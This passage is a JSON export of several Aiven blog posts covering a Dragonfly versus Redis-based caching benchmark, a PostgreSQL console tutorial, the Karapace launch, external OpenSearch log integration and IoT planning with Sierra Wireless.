\n\n*We’ll be sharing some sneak peeks of Uptime’s talks and activities on [Twitter](https://twitter.com/uptimecon \"Uptime Twitter\") soon, so look out for those. Use [#Uptime2022](https://twitter.com/hashtag/Uptime2022?src=hashtag_click \"Uptime Hashtag\") to follow the conversation and see the latest posts. *","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b1dc5d2e28064fc9956214c3dcf671de97cd203f-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-09T00:00:00.000Z","seo":{"metaDescription":"Check out this post for the program highlights for Uptime 2022 - the conference on open source data technology in the cloud, organized by Aiven.","metaImage":{"alt":"","asset":{"_ref":"image-b1dc5d2e28064fc9956214c3dcf671de97cd203f-1567x844-png","_type":"reference"}},"metaTitle":"What’s coming for Uptime 2022?"},"slug":{"_type":"slug","current":"/blog/whats-coming-for-uptime-2022"},"subtitle":"Check out this post for the program highlights for Uptime 2022 - the conference on open source data technology in the cloud, organized by Aiven.","title":"What’s coming for Uptime 2022?"}
{"__i18n_lang":"en","_createdAt":"2024-03-20T08:15:27Z","_id":"55c0e955-9fa8-4da4-b2f4-577954684629","_rev":"aiEK3gvvqNId1oqOQZqjmM","_type":"post","_updatedAt":"2024-05-30T15:00:05Z","authors":[{"_key":"352dcd876ddc","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"Speed is essential in the world of data access. When milliseconds matter, choosing the right in-memory data store can make or break your application's performance. This article delves into a head-to-head comparison of two prominent contenders that Aiven offers: Aiven for Dragonfly and Aiven for Caching.\n\n[Aiven for Caching](https://aiven.io/caching) is based on the Open Source version of Redis®(1), and holds a dominant position in the in-memory data store realm. Its proven track record, wide adoption, and mature feature set makes it a trusted choice for many developers.\n\n[Aiven for Dragonfly](https://aiven.io/dragonfly) is based on Dragonfly, a fully Redis compatible database that has gained popularity since its release in 2022 with more than 22,000 stars on Github. Aiven for Dragonfly addresses the scalability limitation that Aiven for Caching has in terms of throughput and is proven to be more efficient than Redis for a larger workload.\n\n----\n*(1) Redis has recently announced a change in their license by transitioning from the open-source BSD to the more restrictive Server Side Public License (SSPLv1). Starting with Redis 7.4, all subsequent versions will be dual-licensed under the Redis Source Available License (RSALv2) and SSPLv1.*\n\n\n## The benchmark setup\n\nWe benchmarked Aiven for Caching and Aiven for Dragonfly in three different Aiven plans\n\n* Startup-56: 1 VM, 8 CPUs with 56gb available memory\n* Business-256: 2 dedicated VMs, 16 CPUs with 256gb available memory\n* Business-512: 2 dedicated VMs, 32 CPUs with 512gb available memory\n\nAll tests were run on the AWS environment in eu-west-1 region.\n\nFor each scenario, the database was preloaded with half of the maximum memory size available. Benchmark tests were run three times, increasing the amount of client threads each time.\n\nBenchmarking was done using [memtier_benchmark](https://github.com/RedisLabs/memtier_benchmark), the industry standard benchmarking tool for in-memory databases. It was deployed on a m6a.16xlarge instance with 64 cores to ensure the benchmarking tool itself is not the bottleneck, and used the same AWS eu-west-1 cloud region, to ensure maximum network bandwidth. \n\nThe following command was used for testing, tweaking the `threads` and  `clients` parameters to achieve the maximum QPS throughput.\n\n`memtier_benchmark --host \u003chost_name\u003e --port \u003cport_number\u003e --tls --cacert \u003ccertificate_path\u003e --threads \u003cthreads\u003e --client \u003cclients\u003e --data-size 256 --ratio=1:1 --test-time 120` \n\n\n\n## The results\n\n### Throughput\n\nThroughput is the key metrics to dictate the performance of an in-memory database. And in this arena, Dragonfly clearly outmuscles Redis®. Our benchmarks reveal that Dragonfly can leverage all available CPUs, while Redis encounters bottlenecks and is only able to utilize a fraction of available CPU as CPU count rises. This translates to a **staggering 7x throughput advantage for Dragonfly**, across all our tests. Even more impressive, Dragonfly achieves this while **maintaining sub-5ms latency**. So, for applications demanding the highest processing power, Dragonfly might be the undisputed champion. Also, a higher throughput number can be achieved with both Redis and Dragonfly by pipelining requests on the client side.\n\n![Comparison throughput number between Aiven for Dragonfly vs Aiven for Caching](https://cdn.sanity.io/images/sczeoy4w/production/006f77b0f1ee2cb3525ad7f461cd1469e02f9b59-2500x1308.png)\n\n### Latency\n\nWhen choosing an in-memory database, response latency is crucial. Across our benchmarks, Aiven for Caching delivered **slightly lower p50 and p99 latency** compared to Aiven for Dragonfly. This advantage widened when pushing both clusters to their limits with increased client threads. However, Dragonfly still manages to maintain a sub 5ms latency despite having a significantly larger throughput number. If raw speed is your top priority under very specific workloads, Redis® might be worth considering. However, for well-rounded performance and scalability, Dragonfly is a compelling choice.\n\n![Comparison latency between Aiven for Dragonfly vs Aiven for Caching](https://cdn.sanity.io/images/sczeoy4w/production/0659d0d2d42166ee5e6338b6b027d6927117fe5c-2500x1308.jpg)\n\n### Snapshotting\n\nWhile Dragonfly boasts twice the speed for snapshotting, it faces a trade-off with a 30% throughput dip during the process. Conversely, Redis® prioritizes consistency. In a multi-core plan, Redis® maintains zero performance impact but with slower snapshot times.\n\n\n### Memory Efficiency\n\nDespite loading both clusters with only half their available memory, Aiven for Dragonfly compresses data and consistently consumes 25% less memory than Aiven for Caching. This efficiency shines for users looking to maximize performance on resource-constrained systems or when dealing with massive datasets.\n\nFor more info about memory efficiency in Dragonfly, see Dragonfly’s [Dashtable doc](https://github.com/dragonflydb/dragonfly/blob/main/docs/dashtable.md).\n\n\n## Aiven for Dragonfly vs. Aiven for Caching: The conclusion\n\nThis benchmark sheds light on the distinct strengths of Aiven for Dragonfly and Aiven for Caching, two powerful in-memory data stores. \n\nAiven for Dragonfly, the rising star, impresses with its raw performance and throughput. Its ability to leverage all available CPUs translates to handling millions of operations per second efficiently. This makes it a compelling choice for applications demanding high-velocity data access. \n\nAiven for Caching, the seasoned veteran, boasts an established reputation for exceptional latency performance. However, the new Redis licensing model raises concerns about its future and long-term impact on community collaboration.\n\nUltimately, the ideal contender depends on your specific needs. Consider factors like: \n\n* Scalability, performance requirements and workload: Dragonfly consistently impressed in our benchmarks when dealing with large amounts of data and demanding tasks. \n* Cost considerations and community support: While Redis® has a larger, well-established community, Dragonfly can be a more cost-effective option for handling big jobs.\n\nBy carefully weighing these factors, you can select the data store that empowers your application to thrive. Sign in to [Aiven Console](https://console.aiven.io) to get started with Aiven for Dragonfly or Aiven for Caching.\n\n-------\n*(\\*) Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven.*\n","mainImage":{"_type":"mainImage","asset":{"_ref":"image-239c117f38fd773df45259418d0fcf9a63ffba37-1567x844-png","_type":"reference"}},"publishedAt":"2024-05-30T15:00:00.000Z","slug":{"_type":"slug","current":"/blog/aiven-for-dragonfly-vs-aiven-for-caching-benchmarking"},"subtitle":"Aiven offers two powerful in-memory data stores - Aiven for Dragonfly and Aiven for Caching. In this post we help you make the optimal choice for your project.","title":"Aiven for Dragonfly vs Aiven for Caching benchmarking"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"56t2NYsyR3QoiIYqGfD0aR","_rev":"ejVwHgKe5k9eDWbchuGzb6","_type":"post","_updatedAt":"2024-07-11T08:47:00Z","authors":[{"_key":"MtPf0fA4gEsTHRgE5bHjI","_ref":"MtPf0fA4gEsTHRgE5bHjI","_type":"reference"}],"body":"UPDATE: You'll find [instructions for getting started with Aiven for PostgreSQL](https://aiven.io/docs/tools/cli/service.html#avn-service-create) in the Aiven Developer Portal\n\nHere's a short overview of the Aiven for PostgreSQL's [web console](https://console.aiven.io/). The console is where the magic happens and you can launch your fully managed databases in seconds!\n\n_**Developers:** We also provide a full HTTP [REST API](https://aiven.io/docs/tools/api) and a powerful [command-line client](https://github.com/aiven/aiven-client)._\n\n\u003ca name=\"more\"\u003e\u003c/a\u003e\n\n### Sign-up\n\n[Signing up](https://console.aiven.io/signup) to Aiven is simple and only requires your name, email address and a choice of password. Account is activated by clicking an activation link sent via email immediately after submitting the signup form.\n\n![Signing up to the Aiven for PostgreSQL service](//cdn.sanity.io/images/sczeoy4w/production/61029a2ce086c9cb6bc3f6078cb67a14cb68e99c-400x255.png)\n\nIf you already have an account, you can [login directly](https://console.aiven.io/login).\n\n![Logging into PostgreSQL](//cdn.sanity.io/images/sczeoy4w/production/73859f81374aa90aeec53e4d0ab33daddb4dd22b-400x255.png)\n\n### Creating your first database\n\nAfter logging in, you will see an overview of the services you have created. The current billing estimate is shown in the top right corner.\n\n![PostgreSQL service status](//cdn.sanity.io/images/sczeoy4w/production/591263e1cb3066712b992ea30c8906a29f698868-400x248.png)\n\nServices can be temporarily powered off (shown with a grey icon above) when not needed and fully restored to the exact same state at a later time. Services that are powered off do not generate charges.\n\nWhen you first login, the services list will be empty and a new database can be created by clicking the _Create a new service_ button.\n\nYou will be prompted with a name for the service, the service plan and the destination cloud where to host the service.\n\nThe plan defines how much hardware resources your database instances will have, length of backup history, high-availability enabled or not, among a few other things. The full plan details are available on the [aiven.io](https://aiven.io/#services) website.\n\nThe destination cloud setting defines the initial location where the service is hosted at. Note that this selection is easily revisited later by _migrating_ the entire service from one destination to another.\n\n![Creating a PostgreSQL database service](//cdn.sanity.io/images/sczeoy4w/production/592abfce140048a450ea004b88ba36dcc5eb4777-400x248.png)\n\nSince this is the first service that you are creating, you need to enter billing information. Note that Aiven does not store your credit card information directly. The credit card details are processed by [Stripe](https://stripe.com/) and stored [safely](https://stripe.com/docs/security) in their system. Stripe is one of the biggest credit card payment service providers. New services created in the same project will automatically use the same payment information from this point on.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/d053ea088b1aed8e3207472a2992c8be907bce3c-400x251.png)\n\nOnce the payment details have been entered, the service will automatically launch and will be running in a moment. Clicking on the name of the service in the service list will show you further service details:\n\n![Aiven for PostgreSQL database service overview](//cdn.sanity.io/images/sczeoy4w/production/8427ebf77c139aed47532d45292b4d1433ad0b28-400x248.png)\n\nThis view shows you the connection parameters that can be copy-pasted to your application. A general service status is shown below the connection parameters. The above screenshot shows the service as _RUNNING_, meaning everything is OK. The status will show _REBUILDING_ when the service is being launched, migrated to another location or being upgraded.\n\n### High-availability\n\nWhen a database node malfunctions for any reason, it is replaced automatically with a new one. For example, if a the cloud provider's hardware fails, Aiven immediately detects the failure and starts building a replacement node. The new node is restored from backups to the same state where it was before the failure and gets connected to the other nodes.\n\nWhen using a service plan with high-availability enabled, in case of a standby-node failure, you will not notice anything special, just the service status will change to _REBUILDING_ for a short while. If the failed node was the active database master, there will be a short moment when the database is not accessible as master is confirmed non-functional and the already running standby-node is promoted as the new master. After the promotion a new standby node is created automatically and the situation will return back to normal.\n\n### Online upgrades and migration between clouds\n\nBelow the status you'll find a compact collection of actions you can perform for the service.\n\nOne of the more exciting features is our automatic online migration between different locations and cloud providers. A running service can be migrated from cloud to cloud simply by clicking the _Migrate_ button and choosing a new home for the service. Our list of supported hosting locations is pretty extensive, as can bee seen below (with a sneak peek of the upcoming [DigitalOcean](https://www.digitalocean.com/) regions!).\n\n![Migrating a PostgreSQL service to another cloud](//cdn.sanity.io/images/sczeoy4w/production/d0c0190941f57ed98c946bd44cd7321ed3f36629-400x256.png)\n\nSelecting a new home for your service will automatically move the service safely one node at a time to the new location. The service will remain available during the whole transition period. The service status will report _REBUILDING_ during the time the data is being transferred. Please note that the IP address to which the service's DNS address points to will change when switching between cloud providers.\n\nUpgrading the plan is as easy as the migration. Just click _Upgrade_, select a new plan and the data will automatically be migrated to new beefier nodes.\n\n![Upgrading PostgreSQL service plan](//cdn.sanity.io/images/sczeoy4w/production/964346168f16270509994e2d692e29e7cdcfbf40-400x245.png)\n\n### SQL statistics\n\nThe SQL activity in your database can be viewed in a couple of different ways. First is the _Query Statistics_ tab that shows how many times each kind of query has been executed, how long they took, etc. The data can be sorted by clicking the column headings: first click will choose the sorting criteria and the second click will reverse the sorting order.\n\nYou can reset the statistics and start collecting from an empty state by clicking the _Reset stats_ button. This can help you for example asses impact of a added or changed index to query performance.\n\n![Sortable database query statistics](//cdn.sanity.io/images/sczeoy4w/production/45b2925c19c727116e33a4ed12c07b14483d1c85-400x247.png)\n\nThe currently running queries are visible under the _Current Queries_ tab. Note that it is common that SQL queries do not take more than a millisecond or two to execute, so this view can often be empty although there is a lot of activity in the database.\n\n![Currently running queries for a database](//cdn.sanity.io/images/sczeoy4w/production/47067501a42caff8d31c2bf01f99bf5b21227c62-400x246.png)\n\n### Automatic real-time backups\n\nFinally, there is the _Backups_ tab that shows the list of periodic full backups taken from the database. In addition to full backups, Aiven constantly stores an incremental stream of the latest transactions _(PostgreSQL write-ahead-log, WAL)_ along with the backups. This allows restoring the the database not just to the time of the latest full backup, but also to any point in time between backups. \n\n![List of backups for a service](//cdn.sanity.io/images/sczeoy4w/production/c39d9b29746a88e7d67da02b0c5b37b43d21a385-400x247.png)\n\nThe backups are stored in the corresponding cloud provider's \"object storage\" (e.g. [Amazon S3](https://aws.amazon.com/s3/)) encrypted. These are highly redundant and reliable services for long-term data storage.\n\nAiven keeps your data encrypted _all the time_. The data disk containing the database is encrypted. The full and incremental backups are encrypted before they are stored to the object storage. Also the real-time replication stream between the database master and the standby node(s) is encrypted. Your client connections to the database are always required to be encrypted.\n\nYou will not need to worry about the backups. Everything is automated.\n\n### Restricting access to the database\n\nOnce the service is running, it is a good idea to restrict the network addresses that can be used to connect to the database, to provide an extra layer of security. Click the _Change_ button beside _Allowed IP addresses_ to enter a list of network addresses or sub-network ranges. The changes will take effect immediately after saving the changes.\n\n![Changing allowed IP addresses](//cdn.sanity.io/images/sczeoy4w/production/65c2ce0c4a7a4b7d8cd1a2e8fee8f572743a5fae-400x256.png)\n\n### Billing and project members\n\nA quick word about our billing model: Each service is billed based on the number of hours it has been running. An invoice is generated monthly and automatically billed from the credit card assigned to the project. Staying on track about the billing is simple as there is a billing estimate that is shown in the main service view and is updated hourly.\n\nEach project can have multiple members, just click the _Invite user_ in the project members view and enter the email address of the new member. Please note that every project member has privileges to create and terminate services and those services will be charged from the credit card attached to the project.\n\n![Project members view](//cdn.sanity.io/images/sczeoy4w/production/5f2dea978741a9f56c5e79d48e82ba49e0892f36-400x246.png)\n\n![Inviting a user to join a project](//cdn.sanity.io/images/sczeoy4w/production/031333aa209f7c6dd6daaccc9e488564326395bb-400x247.png)\n\nTo get your database started, just head to [aiven.io](https://aiven.io/)!\n\n## Further reading\n\n- [Future PostgreSQL: Improvement to the Replication Protocol](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol)\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [TypeScript, react-hook-form, zod: blissful forms](https://aiven.io/blog/typescript-react-hook-form-zod)","categories":[{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-01-28T10:39:00.001Z","seo":{"metaDescription":"Our in-depth tutorial covers multiple aspects of setting up and running Aiven for PostgreSQL through out platform. Find out just how easy it is here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® tutorial"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-tutorial"},"subtitle":"Our in-depth tutorial covers multiple aspects of setting up and running Aiven for PostgreSQL through out platform. Find out just how easy it is here.","title":"Aiven for PostgreSQL® tutorial"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5NEOsK2V0ZgM3dliG2LZbz","_rev":"THDGXgbtbTWNUZ8wxZpYy3","_type":"post","_updatedAt":"2023-05-15T13:32:15Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"We’re excited to announce the launch of [Karapace](https://karapace.io/), a replacement for Apache Kafka REST and the Schema Registry.\n\n## An open-source alternative to Schema Registry and Apache Kafka REST proxy\n\nKarapace is a fully open source tool developed by Aiven. Karapace’s functionality aims to be 1:1 compatible with the existing Confluent Schema Registry and the Apache Kafka REST proxy, and it works on both client and server sides. \n\nOn the technical side, Karapace represents moderate memory consumption and is built with an asynchronous architecture. This makes Karapace a lightweight and stable tool, and working with Apache Kafka gets just a little easier.\n\nAs an open-source replacement for proprietary solutions, Karapace helps you to avoid vendor lock-in.\n\n## Karapace functionality\nKarapace currently provides the following functionality:\n\n- A central repository for storing schemas\n- Serialization and deserialization of messages\n- Version history of Kafka schemas\n- A RESTful interface for your Kafka cluster\n\nKarapace can also produce and consume messages and handle cluster administration tasks.\n\n## Getting started with Karapace\nTo enable Schema Registry or REST proxy for your Aiven for Kafka plans, go to the Overview page of your Aiven for Apache Kafka service, and enable the features.\n\n![enable-karapace](//cdn.sanity.io/images/sczeoy4w/production/d0fc6a3dd2f8891c550eeea69ccb43343fca6421-793x248.png)\n\n## Contribute to Karapace\nAiven welcomes contributions to the project! Go the the Karapace repo and [have a look at the open issues](https://github.com/aiven/karapace/issues) to see if something catches your fancy.\n\n## Wrapping up\n\nWith Karapace, you have a few more options for managing Apache Kafka message schemas and administering your Apache Kafka clusters. \n\nremember to follow our [blog](https://aiven.io/blog) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"alt":"","asset":{"_ref":"image-dcb43f03f129a6edf57628b2357430a05cd42fdc-1567x844-png","_type":"reference"}},"publishedAt":"2020-07-08T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Karapace is the only open-source, drop-in alternative to Schema Registry and Kafka® REST. Read to find out more about Aiven's open-source contribution.","metaImage":{"alt":"","asset":{"_ref":"image-dcb43f03f129a6edf57628b2357430a05cd42fdc-1567x844-png","_type":"reference"}},"metaTitle":"Aiven's Karapace simplifies Kafka schema and cluster management"},"slug":{"_type":"slug","current":"/blog/aiven-launches-karapace-for-kafka-schema-and-cluster-management"},"subtitle":"Karapace is the only open-source, drop-in alternative to Schema Registry and Kafka® REST. Read to find out more about Aiven's open-source contribution.","title":"Aiven launches Karapace for Apache Kafka® schema and cluster management"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5Xf8CsI3dBne5pxEmfxijU","_rev":"jEln45CgOQD4spzxeyue7F","_type":"post","_updatedAt":"2024-07-17T11:48:54Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"In April, we announced our [syslog integration](https://aiven.io/blog/syslog-output-supported-on-the-aiven-platform) for sending your logs to an external service and that we'd soon be following it up with another. Well, it's here; __we now support sending Aiven service logs to external OpenSearch (or Elasticsearch) services.__\n\nWith this addition, you now have four options to get your Aiven service logs. You can get started with our latest option by following the steps outlined in our [help article](https://help.aiven.io/en/articles/3003760-external-elasticsearch-log-integration); but, let's check out some of the basics before you do.\n\n### A look inside...\nSending your logs to an external OpenSearch (or Elasticsearch) service works on the same principle as our other [logging integrations](https://help.aiven.io/en/articles/2933115-remote-syslog-integration) which use the ```rsyslog``` protocol. This particlar integration works in the following way:\n\n\u003e The external OpenSearch integration works by sending the log entries as JSON documents to an OpenSearch index, named as ```prefix-YYYY-MM-DD```.\n\nFields that are passed to the new index include these fields:\n* ```HOSTNAME``` = name of service + name of node\n* ```MESSAGE``` = actual log message\n* ```SESSION_ID``` = ID of the running session\n* ```SYSTEMD_UNIT``` = linux service (the actual systemd service name)\n* ```TIMESTAMP``` = time the message was logged\n\nHere's an example message, sent from a PostgreSQL service:\n```\n {\n       \"_index\" : \"logs-2019-05-31\",\n       \"_type\" : \"journal_msg\",\n       \"_id\" : \"YD40EFzCwZCbzWQxl4z8\",  #fake, for demo purposes\n       \"_score\" : 1.0,\n       \"_source\" : {\n         \"HOSTNAME\" : \"pg-1\",\n         \"SYSTEMD_UNIT\" : \"postgresql-11.service\",\n         \"MESSAGE\" : \"user=,db=,app=,client= LOG:  listening on IPv6 address \\\"::\\\", port 22889\",\n         \"timestamp\" : \"2019-05-31T05:40:46.020508\"\n       }\n     },\n```\n\n## Wrapping up\nOur latest logging integration brings the number of available logging options to 4. In addition to integrating with external OpenSearch (or Elasticsearch) services, you can:\n\n1. access the [past two days' logs via our console, API, or CLI](https://aiven.io/docs/platform/howto/list-monitoring#view-service-logs);\n2. integrate your logging with one of [Aiven's own OpenSearch services](https://help.aiven.io/en/articles/2090163-getting-started-with-elasticsearch-log-integration) for unlimited retention right in Aiven;\n3. or use our [syslog integration](https://help.aiven.io/en/articles/2933115-remote-syslog-integration).\n\nSend your Aiven service metrics and logs to AWS CloudWatch with [the Aiven Amazon CloudWatch integration](https://aiven.io/blog/watch-your-aiven-metrics-with-cloudwatch).\n\nAs things evolve, feel free to stay up to date with our [blog](https://aiven.io/blog/feed.xml) or [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-188500af0c28d797756d36025fda304902ef16eb-752x405-png","_type":"reference"}},"publishedAt":"2019-06-04T00:00:00.000Z","seo":{"metaDescription":"Aiven customers now send their service logs to external Elasticsearch services; find out more about it in this post.","metaImage":{"alt":"","asset":{"_ref":"image-188500af0c28d797756d36025fda304902ef16eb-752x405-png","_type":"reference"}},"metaTitle":"External Elasticsearch logging output now supported by Aiven"},"slug":{"_type":"slug","current":"/blog/external-elasticsearch-logging-output-now-supported-by-aiven"},"subtitle":"Aiven customers now send their service logs to external Elasticsearch services; find out more about it in this post.","title":"External Elasticsearch logging output now supported by Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5iSeEDWpwZR9p03jPkoQnI","_rev":"a4XEptz0xD4dYAWJ07nzXn","_type":"post","_updatedAt":"2023-09-18T10:49:45Z","authors":[{"_key":"244WrCx4vQESRvQpaGazre","_ref":"244WrCx4vQESRvQpaGazre","_type":"reference"}],"body":"[Internet of things (IoT)](/solutions/aiven-for-iot) refers to the billions of physical devices connected to the internet which collect, store, and share data. Real-world examples of IoT include self-driving cars and cashier-less supermarkets, or industrial applications like equipment monitoring.\n\nIt has changed the world in the past 20 years, prompting companies of all sizes to add new products and improve existing offerings with IoT technology. This is no easy task, as the combination of hardware and software poses enormous challenges at scale.\n\nBefore you begin building your enterprise IoT solution, you must set the foundation for success with careful planning and execution. To get you started, we lay out the 3 fundamental considerations to cover in order to best ensure success.\n\n## 1. Business vision\n\nDeveloping a successful IoT solution is a cross-functional exercise, and this requires a strong business vision to serve as a reference point for all stakeholders. You should clearly define your IoT solution’s purpose by answering a few key questions at the outset:\n\n*- What problem are you trying to solve?*\n\nThe desire to offer an IoT solution should stem from a legitimate problem that can be observed and addressed in the market. If you’re entering IoT solely to catch the wave, you should re-evaluate your strategy.\n\n*- What does success look like?*\n\nDefine your objectives and the key results used to measure the success of your IoT solution. These will depend on whether you are looking to increase your existing market share by augmenting a current solution or enter a completely new market.\n\n*- Do you have the capabilities to build this solution?*\n\nThe answer to this question is almost always no. Lacking key capabilities might mean choosing between an internet or thing-centric solution, where the value proposition stems from either the nature of interconnectivity or the devices and sensors themselves.\n\nIdeally, you shouldn’t have to choose one or the other. If you’re lacking fundamental capabilities, you should immediately start establishing partnerships with the right experts and vendors to build a robust first iteration and reduce its time-to-market.\n\n## 2. Time-to-market and know-how\n\nThe time-to-market for building an IoT solution can be very long due to IoT’s unique confluence of hardware and software. Not only do you need to define and produce/source the required devices and sensors, you also need to figure out how to manage the data that is generated.\n\nEnterprise companies often insist on building IoT solutions in-house for the sake of control. The problem with this approach is that it is resource-heavy and difficult to manage, requiring teams to work around the clock not only to develop and set up the software but maintain it as well.\n\nAnd what about the hardware? After you source device/sensor manufacturers, you then need to prototype them and feed their data outputs into your custom-built pipelines. Doing all of this in-house poses unnecessary risk, making for a long development roadmap and lost opportunities.\n\nHere’s where expert partners come into the picture. Our friends at [Sierra Wireless](https://www.sierrawireless.com/products-and-solutions/) are no strangers to IoT. They’re a leading IoT solutions provider — simplifying customer IoT journeys by combining devices, networks, and software to accelerate their data-driven transformation.\n\nWhile Sierra Wireless takes care of the hardware infrastructure, [Aiven](https://aiven.io/) can handle your data infrastructure by helping you build a fully-managed, open source data pipeline with snap-in components to ingest, transfer, and store your data. Now, let’s look at the last consideration.\n\n## 3. Technical and operational setup\n\nAs indicated, IoT solutions require hardware and data infrastructure for the ingestion, transfer, and storage of data. Starting with hardware, let’s consider Sierra wireless’s [Octave](https://www.sierrawireless.com/octave/), the only all-in-one edge-to-cloud solution for connecting industrial assets securely and scalably.\n\nOctave accomplishes this through out-of-the-box industrial protocol support (Modbus, CANopen, etc.), global connectivity, SIM- and device management, intelligent edge processing, data orchestration, and cloud connectors and APIs to integrate with any cloud service provider.\n\nSierra Wireless also has its own global wireless cellular network and provides a private APN to fully separate your data traffic from the public internet. Now, let’s talk about the other side of the coin — the data infrastructure requirements for a flexible, reliable, and scalable IoT solution.\n\nFirstly, you should consider [open source technology](https://github.com/aiven). Open source data software technology offers many advantages than its proprietary counterparts, namely lower total cost of ownership (TCO) and more control over its implementation. Likewise, it is often more advanced.\n\nTake [Apache Kafka](https://aiven.io/blog/what-is-apache-kafka) for example. When you include it in your data infrastructure as your pipeline’s streaming platform, you are getting a solution with the low-latency and scalability needed for IoT and one that has been battle-tested by the likes of [OVO Energy](/case-studies/aiven-for-apache-kafka-helps-ovo).\n\nHere is an example of a Kafka-centric IoT architecture built for monitoring smart energy meters:\n\n![IoT energy use case](//cdn.sanity.io/images/sczeoy4w/production/3572020f897deb1f15e8b5dea201154666f7af74-1361x694.png)\n\nBut, there is a catch: Kafka is notoriously difficult to maintain, which is why many companies choose to use a managed service such as [Aiven for Apache Kafka](/kafka), which takes care of the updates, monitoring, maintenance, etc. that you would normally have to resource in-house. \n\n## Closing thoughts\n\nThere are many ways to build and operate a secure and globally scalable IoT solution. While the above information is not a comprehensive framework for building your solution, it provides a foundation to get the ball rolling for building it.\n\nThe most important takeaway is that no matter how many resources you have at your disposal, working with quality partners is often the best way to quickly build a high-quality IoT solution that can make the data your devices produce actionable.\n\nAiven and Sierra Wireless jointly reduce the complexity and cost of IoT development, removing operational concerns. With us, you can liberate resources to focus on what matters - differentiating yourself by delivering superior customer value.\n\nTo keep up-to-date on the latest insight, follow our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.\n\n[![OVO energy image CTA](//cdn.sanity.io/images/sczeoy4w/production/47dd5a1f237ae0d6ba33697f648528c0c00718ee-1600x471.png)](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"7a75dJHI5iFb0ksQIdhTn0","_ref":"7a75dJHI5iFb0ksQIdhTn0","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-8ba96c192f5d29f510c856dec1c2b31b27f773d8-1567x844-png","_type":"reference"}},"publishedAt":"2020-08-11T00:00:00.000Z","seo":{"metaDescription":"Our partners at Sierra Wireless are the world's leading IoT solutions provider. Here are 3 considerations to cover in order to build a successful IoT solution.","metaImage":{"alt":"","asset":{"_ref":"image-8ba96c192f5d29f510c856dec1c2b31b27f773d8-1567x844-png","_type":"reference"}},"metaTitle":"3 considerations for building an enterprise IoT solution"},"slug":{"_type":"slug","current":"/blog/3-considerations-for-building-an-enterprise-iot-solution"},"subtitle":"Our partners at Sierra Wireless are the world's leading IoT solutions provider. Here are 3 considerations to cover in order to build a successful IoT solution.","title":"3 considerations for building an enterprise IoT solution"}
